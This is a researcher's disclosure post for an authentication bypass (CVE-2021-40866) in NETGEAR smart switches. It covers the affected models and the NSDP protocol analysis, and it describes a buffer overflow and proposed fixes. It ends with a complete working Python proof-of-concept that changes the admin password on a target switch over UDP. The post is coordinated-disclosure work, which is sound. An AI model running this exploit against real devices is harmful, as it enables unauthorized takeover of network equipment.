TL;DR: NETGEAR just patched 3 reported vulnerabilities (Demon's Cries, Draconian Fear and Seventh Inferno) in some managed (smart) switches. If you or your company owns any of these devices, please patch now.

Note: Details on Seventh Inferno will be publish on or after 13th September.

Affected devices:

  • GC108P
  • GC108PP
  • GS108Tv3
  • GS110TPP
  • GS110TPv3
  • GS110TUP
  • GS308T
  • GS310TP
  • GS710TUP
  • GS716TP
  • GS716TPP
  • GS724TPP
  • GS724TPv2
  • GS728TPPv2
  • GS728TPv2
  • GS750E
  • GS752TPP
  • GS752TPv2
  • MS510TXM
  • MS510TXUP

NETGEAR's advisory can be found here: Security Advisory for Multiple Vulnerabilities on Some Smart Switches, PSV-2021-0140, PSV-2021-0144, PSV-2021-0145.

CVSS, CVE, etc

Some human readable details are in the next section.

  • Vulnerability Codename: Demon's Cries
  • Vendor-specific ID: Either PSV-2021-0140 or PSV-2021-0145, not sure.
  • CVE: CVE-2021-40866
  • CVSS: 9.8 (Critical)1, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (Note: thankfully this feature is NOT enabled by default)
  • Patch Diff Risk: High

1 NETGEAR on the advisory page says it's 8.8 (High). The difference falls down to the AV:N vs AV:A part (i.e. Attack Vector: Network vs Adjacent). NETGEAR's argument is that basically since the attack cannot be done from the Internet / from outside of the LAN in which the device is, then the Attack Vector should be set to Adjacent. My argument is that while they are right on the technical part, the CVSS v3.1: Specification Document says Network should be used even if the attacker is required to be on the same intranet to exploit the vulnerable system (e.g., the attacker can only exploit the vulnerability from inside a corporate network). Not that it changes anything ;)

Detailed Report

Published on September 6th, 2021.

Demon's Cries *** Summary: Affected Model: NETGEAR GS110TPV3 Smart Managed Pro Switch (and some other) Firmware Version: V7.0.6.3 (from 2021-05-07) NETGEAR GS110TPV3 Smart Managed Pro Switch with SCC Control enabled* is vulnerable to an authentication bypass resulting in the attacker being able to change admin's password (among other things), resulting in a full compromise of the device. * SCC Control (NETGEAR Smart Control Center) is disabled by default, and must be manually enabled in the web UI (Security > Management Security > SCC Control). Attached PoC will change the password to "AlaMaKota1234". This report also points out: - A currently non-exploitable buffer overflow in sccd's password verification routine (triggerable even if SCC Control is disabled). - A non-security logic bug in sccd's password verification routine preventing authentication in case of some password patterns. IMPORTANT: This vulnerability is reported under the 90-day policy, i.e. this report will be shared publicly with the defensive community on 6th September 2021. See https://www.google.com/about/appsecurity/ for details. NOTE: At this point in time I haven't checked what other models are affected, but I strongly suspect other NETGEAR devices reuse the same code. NOTE: This vulnerability is very similar - if not identical - to one found in 2012 in GS108E and GS105E, and implemented as a "feature" in e.g. ProSafeLinux project: https://github.com/tabacha/ProSafeLinux/blob/aa768d658ec10aa96833087e8bc344356411533b/psl_class.py#L390 *** More details: Netgear Switch Discovery Protocol (NSDP) is implemented by the /sqfs/bin/sccd daemon. The protocol itself is UDP based (port 63324 in case of this model) and each datagram consists of a 32 byte header followed by a Type/Length/Value chain, with each TLV consisting of a 4 byte header (2 bytes Type, 2 bytes Length), followed by the Value bytes. The sccd daemon can operate in two modes: * Disabled (default), where it only answers basic queries about the device. * Enabled, where it allows some of the configuration to be changed, as well as grants access to downloading configs, uploading firmware images, etc. Analyzing certain available administration tools painted a picture where most "get" commands (used to retrieve information) can be operated without authentication, however all of "set" commands require the type 10 "password authentication" TLV to be first in the chain. However, the sccd daemon on this device DOES NOT enforce this, i.e. the type 10 TLV can be omitted from the chain and in such case neither the password verification takes place, nor does it seem to be required by any of the "set" TLV handlers. A case in point is the "set" TLV of type 9, which changes the password to the one specified in the value. Sending just this one TLV is enough to change the admin password on the device without knowing the previous password. A funny bug related to authorization spawns from the fact that the password (both in case of TLV type 10 "authentication" and TLV type 9 "password change") is obfuscated by being XORed with "NtgrSmartSwitchRock". However, due to the fact that in the handler of TLV type 10 an strlen() is called on the still obfuscated password, it makes it impossible to authenticate correctly with a password that happens to have the same character as the phrase above at a given position. E.g. let's say that the password is "Mug123" (note the "g" at position 3) - XORed with the phrase above the result will be 03 01 00 43 61 5e. However, strlen("\3\1\0\x43\x61\x53") will return 2 due to the null-byte in the middle, and this value will be passed then to the password deobfuscation routine (_sccd_password_decrypt), which in turn will deobfuscate only the first 2 characters of the password, preventing otherwise correct authentication. One more vulnerability (benign in the current version of the firmware due to the layout of the stack and presence of the stack canary) can be found in TLV type 10 handler even in case the sccd daemon operates in Disabled mode: the whole password provided in the TLV is copied to a local buffer which is 65 bytes in size, with no boundary check present. Pseudo-code: uint8_t passwordCopy[65]; ... memcpy(passwordCopy, tlvValue, (uint)tlvValueSize); Sending a TLV of type 10 with password set to e.g. 200 bytes will result in the sccd daemon crashing: *** stack smashing detected ***: /sqfs/bin/sccd terminated *** Proposed fix: The obvious fix is to require TLV type 10 to be present in the TLV chain prior to any request that requires authentication. Ideally this should be achieved by adding metadata to each handler stating whether it requires authentication and verifying whether TLV type 10 was in the chain (current datagram) and succeeded. The metadata approach can be implemented by extending the already existing TLV type handler tables with another field per handler. This approach is better than checking whether TLV chain "had authentication" in each handler separately (since it's easy to forget to copy-paste the authentication check code when extending the protocol). Important: authentication must be required in each UDP datagram, and should not prevail between datagrams - otherwise a real admin might authenticate in one datagram, and a local attacker might spoof a UDP packet to e.g. change the password in the next datagram. The fix for the logic bug with strlen() being used on obfuscated password is to not use strlen() and instead rely on the known size of the password (see also below). The fix to the buffer overflow with password length is to reject any authentication attempt where the size of the value is larger than the buffer size (i.e. 64 bytes in this case). For future-proofing the amount of bytes copied by memcpy() from the TLV to the local buffer should also be limited to the buffer size. Please let me know if you have any questions. *** PoC Exploit: #!/usr/bin/python3 import socket from struct import pack, unpack import threading import time import sys UDP_IP = "192.168.2.14" # Put target IP here. UDP_PORT = 63324 PASSWORD = "AlaMaKota1234" def db(v): return pack(">B", v) def dw(v): return pack(">H", v) def dd(v): return pack(">I", v) def make_header( cmd, status=0, failure=0, manager_mac=bytes(b"\1\1\1\1\1\1"), agent_mac=bytes(b"\0\0\0\0\0\0"), seq=0, ): header = [ db(1), db(cmd), dw(status), dw(failure), dw(0), manager_mac, agent_mac, dd(seq), b"NSDP", dd(0), ] return b"".join(header) def make_tlv(type, data=b""): d = [ dw(type), dw(len(data)), data ] return b''.join(d) def make_end_tlv(): return make_tlv(0xffff); def encrypt_password(pwd): pwd = bytearray(pwd) super_secret_string = bytearray(b"NtgrSmartSwitchRock") for i in range(len(pwd)): pwd[i] ^= super_secret_string[i % len(super_secret_string)] return pwd # Get sequence number. if len(sys.argv) != 2: print("usage: python3 nsdp_pwd_chg.py <sequence-number>") print( "Start with sequence-number 1. If it doesn't work, try a higher number.") sys.exit(1) # Construct the NDSP packet. COMMAND_REQ_GET = 1 COMMAND_REQ_SET = 3 payload = make_header( COMMAND_REQ_SET, seq=int(sys.argv[1]) ) # TLV Type=10 (password authentication) seems optional :shrug: payload += make_tlv(9, encrypt_password(bytes(PASSWORD, "utf-8"))) payload += make_end_tlv() # Send the packet. print("UDP target IP: %s" % UDP_IP) print("UDP target port: %s" % UDP_PORT) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(payload, (UDP_IP, UDP_PORT)) print("Change password packet sent, waiting for response (10 sec)...") # Wait for reply. sock.settimeout(10) try: data, addr = sock.recvfrom(4096) # Some heuristics to see if it worked. if len(data) == 38: print(f"IT WORKED! Try it logging in with password: {PASSWORD}") elif len(data) == 32: print("Failed. Maybe SCC Control is disabled?") else: print("No idea, heuristics failed. Try logging in anyway.") except socket.timeout: print("No response - device not found or sequence number too low.") sock.close()

Add a comment:

Nick:
URL (optional):
Math captcha: 6 ∗ 8 + 5 =